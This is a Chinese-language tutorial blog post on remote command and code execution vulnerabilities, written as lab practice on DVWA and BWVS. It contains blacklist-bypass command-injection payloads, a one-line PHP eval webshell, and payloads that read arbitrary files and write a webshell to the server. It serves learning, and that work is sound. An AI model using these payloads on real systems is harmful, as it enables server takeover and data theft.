远程 命令/代码 执行(remote command/code execute)漏洞总结

文章目录

      • 前言:
      • 一、基础知识
        • 1、命令执行漏洞
          • 常用的命令连接符:
        • 2、代码执行漏洞
        • 3、PHP中的危险函数:
      • 二、靶场练习
        • 命令执行:
          • 1、Low级别
          • 2、Medium级别
          • 3、High级别
          • 4、Impossible级别
        • 代码执行
          • 1、一句话木马:
          • 2、获取当前工作路径:
          • 3、读文件:
          • 4、写webshell:

前言:

这周来学习下 “命令执行” 与 “代码执行” 漏洞;命令执行漏洞与代码执行漏洞没有太大的区别,不过我们在学习时还是要区分不同的概念。


一、基础知识

RCE,即 Remote Command/Code Execute:远程命令/代码执行。可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

很多人喜欢把代码执行漏洞称为命令执行漏洞,因为命令执行漏洞可以执行系统命令,而代码执行漏洞也会执行系统命令,这样就容易混淆。其实两者比较好区分:命令执行漏洞是直接调用操作系统命令,故这里叫作OS命令执行漏洞,而代码执行漏洞则是靠执行脚本代码调用操作系统命令。

1、命令执行漏洞

Web应用有时需要调用一些执行系统命令的函数,例如,如果想测试 www.xxx.com 是否可以正常连接,那么Web应用底层就很可能去调用系统操作命令,如果此处没有过滤好用户输入的数据,就很有可能形成系统命令执行漏洞。

示例:pikachu靶场提供了测试域名/IP的 Ping 功能(命令执行漏洞模块),并将 Ping 命令的执行过程显示出来。下面测试域名:www.baidu.com 是否可以正常连接,如图:

通常这并没有什么问题,但不要忘记命令可以连接执行。

输入:www.baidu.com && dir

在知道了系统命令可以连接执行后,如果 Web应用程序没有过滤好输入,就变得相当危险。命令注入漏洞本身不会导致系统受损,但是攻击者可能能够使用提权升级和其他漏洞来获得更多访问权限。

常用的命令连接符:

Windows和Linux都支持的连接符:

A|B    只执行B
A||B   如果A执行出错,则执行B
A&B    先执行A,不管是否成功,都会执行B
A&&B   先执行A,执行成功后执行B,否则不执行B

只有Linux支持的连接符:

A;B    先执行A,再执行B

2、代码执行漏洞

代码注入攻击与命令注入攻击不同。因为需求设计,后台有时候需要把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。

例:

让用户输入字符,我们来输入phpinfo();

发现直接执行了我们输入的代码。

查看代码发现是 eval() 函数执行了我们的提交参数。

3、PHP中的危险函数:

命令执行:

system()       输出并返回最后一行shell结果
exec()         执行一个外部程序
shell_exec()   通过shell环境执行命令,并且将完整的输出以字符串的方式返回
passthru()     执行外部程序并且显示原始输出
pcntl_exec()   在当前进程空间执行指定程序
popen()        打开进程文件指针
proc_open()    执行一个命令,并且打开用来输入/输出的文件指针

代码执行:

eval()            把字符串作为PHP代码执行
assert()          检查一个断言是否为 FALSE,可用来执行代码
preg_replace()    执行一个正则表达式的搜索和替换
call_user_func()  把第一个参数作为回调函数调用
call_user_func_array() 调用回调函数,并把一个数组参数作为回调函数的参数
array_map()       为数组的每个元素应用回调函数

了解了这些知识后,在本地搭建的靶场中练习下。

二、靶场练习

命令执行:

使用DVWA靶场的Command Injection(命令注入)模块。

先从Low级别开始。

1、Low级别

查看源码:

<?php
if( isset( $_POST[ 'Submit' ]  ) ) {// Get input$target = $_REQUEST[ 'ip' ];// Determine OS and execute the ping command.if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping  ' . $target );}else {// *nix$cmd = shell_exec( 'ping  -c 4 ' . $target );}// Feedback for the end userecho "<pre>{$cmd}</pre>";
}
?>

可以看到,low级别的代码接收了用户输入的ip,服务器通过判断操作系统执行不同 ping 命令。但是这里对用户输入的ip并没有进行任何的过滤,所以存在可利用的命令执行漏洞。

&&来执行多条命令,构造payload:127.0.0.1&&net user

执行成功!(如果存在乱码问题,把DVWA\dvwa\includes目录下的dvwaPage.inc.php文件中所有的”charset=utf-8”,全部替换修改为”charset=gb2312”即可)

2、Medium级别

源码:

<?php
if( isset( $_POST[ 'Submit' ]  ) ) {// Get input$target = $_REQUEST[ 'ip' ];// Set blacklist$substitutions = array('&&' => '',';'  => '',);// Remove any of the charactars in the array (blacklist).$target = str_replace( array_keys( $substitutions ), $substitutions, $target );// Determine OS and execute the ping command.if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping  ' . $target );}else {// *nix$cmd = shell_exec( 'ping  -c 4 ' . $target );}// Feedback for the end userecho "<pre>{$cmd}</pre>";
}
?> 

可以看到,medium级别相较于low级别的代码,增加了对 &&;的过滤,绕过也很简单,不用 && ,直接用 &不就好起来了吗!

&&&的区别在于&&是执行完前面的命令然后执行后面的命令,&是不管前面的命令是否值执行,后面的都执行。

构造poyload:127.0.0.1&ipconfig


绕过执行成功!

3、High级别

源码:

<?php
if( isset( $_POST[ 'Submit' ]  ) ) {// Get input$target = trim($_REQUEST[ 'ip' ]);// Set blacklist$substitutions = array('&'  => '',';'  => '','| ' => '','-'  => '','$'  => '','('  => '',')'  => '','`'  => '','||' => '',);// Remove any of the charactars in the array (blacklist).$target = str_replace( array_keys( $substitutions ), $substitutions, $target );// Determine OS and execute the ping command.if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping  ' . $target );}else {// *nix$cmd = shell_exec( 'ping  -c 4 ' . $target );}// Feedback for the end userecho "<pre>{$cmd}</pre>";
}
?> 

相比于前面两个等级的,high等级的黑名单更完善了,但是由我们可以看出来他只是过滤掉了“| ”,如果用|后不跟空格就可以绕过过滤。

构造payload:127.0.0.1|dir

绕过成功。

4、Impossible级别

源码:

<?php
if( isset( $_POST[ 'Submit' ]  ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$target = $_REQUEST[ 'ip' ];$target = stripslashes( $target );// Split the IP into 4 octects$octet = explode( ".", $target );// Check IF each octet is an integerif( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {// If all 4 octets are int's put the IP back together.$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];// Determine OS and execute the ping command.if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping  ' . $target );}else {// *nix$cmd = shell_exec( 'ping  -c 4 ' . $target );}// Feedback for the end userecho "<pre>{$cmd}</pre>";}else {// Ops. Let the user name theres a mistakeecho '<pre>ERROR: You have entered an invalid IP.</pre>';}
}// Generate Anti-CSRF token
generateSessionToken();
?> 

了解下几个函数:

stripslashes(string) : 该函数会删除字符串string中的反斜杠,返回已剥离反斜杠的字符串。explode(separator,string,limit): 该函数把字符串打散为数组,返回字符串的数组。参数separator规定在哪里分割字符串,参数string是要分割的字符串,可选参数limit规定所返回的数组元素的数目。is_numeric(string): 该检测string是否为数字或数字字符串,如果是返回TRUE,否则返回FALSE

可以看到 Impossible级别的代码加入了Anti-CSRF token,至于什么是Anti-CSRF token 点击 链接 查看。

同时对参数ip进行了严格的限制,只有“数字.数字.数字.数字”的输入才会被接收执行,因此不存在命令注入漏洞。

代码执行

使用 BWVS 的靶场。

1、一句话木马:

输入

${@eval($_POST['a'])}

蚁剑连接:

2、获取当前工作路径:

输入:

${exit(print(getcwd()))}

3、读文件:
${exit(var_dump(file_get_contents($_POST[f])))}POST:f=文件路径

4、写webshell:
${exit(var_dump(file_put_contents($_POST[f], $_POST[d])))}
f=webshell.php&d=<?php @eval($_POST['abc']); ?>


测试是否上传成功:

成功上传!

🆗,关于命令执行与代码执行漏洞,这次就先总结到这啦。(●’◡’●)

参考博客:
https://blog.csdn.net/qq_43625917/article/details/98802320
https://blog.csdn.net/qq_36119192/article/details/82917250
https://blog.csdn.net/jpygx123/article/details/83276533

本文链接:https://my.lmcjl.com/post/7478.html

展开阅读全文

4 评论

留下您的评论.